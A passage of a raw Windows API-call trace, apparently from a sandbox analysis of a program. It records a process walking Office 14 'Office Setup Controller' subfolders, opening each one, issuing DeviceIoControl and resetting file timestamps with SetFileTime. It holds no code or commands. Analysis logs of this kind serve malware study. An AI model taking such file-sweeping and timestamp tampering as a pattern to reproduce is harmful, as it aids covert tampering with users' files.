ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0052.702] GetLastError () returned 0x12 [0052.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.702] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.702] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.702] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0052.702] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.702] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.735] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0052.745] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.745] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.746] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.746] NtClose (Handle=0x164) returned 0x0 [0052.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.746] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.746] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.746] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.746] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5d38 [0052.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e9e18 [0052.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.747] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0052.747] GetLastError () returned 0x12 [0052.747] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.747] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.747] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.747] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0052.747] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0052.747] GetLastError () returned 0x12 [0052.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.747] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.747] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.747] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0052.747] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.747] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.798] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0052.798] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.798] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.799] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.799] NtClose (Handle=0x168) returned 0x0 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.799] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.799] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.799] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5d58 [0052.799] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e9f20 [0052.799] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.799] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0052.800] GetLastError () returned 0x12 [0052.800] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.800] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0052.800] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.800] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0052.800] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0052.800] GetLastError () returned 0x12 [0052.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7130) returned 1 [0052.800] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7238) returned 1 [0052.800] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.800] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0052.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.800] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0052.800] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0052.800] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9ee978 [0052.801] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9ee978, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x9ee978, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ee978) returned 1 [0052.801] NtClose (Handle=0x164) returned 0x0 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9e7028) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed588 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7028 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7238 [0052.801] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0052.801] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.801] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9e7130 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5d78 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea028 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.801] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0052.801] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0052.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9e5d98 [0052.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ea130 [0052.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0052.802] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0052.802] GetLastError () returned 0x12 [0052.802] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e90c0 [0052.802] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0052.802] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.802] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0052.802] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, 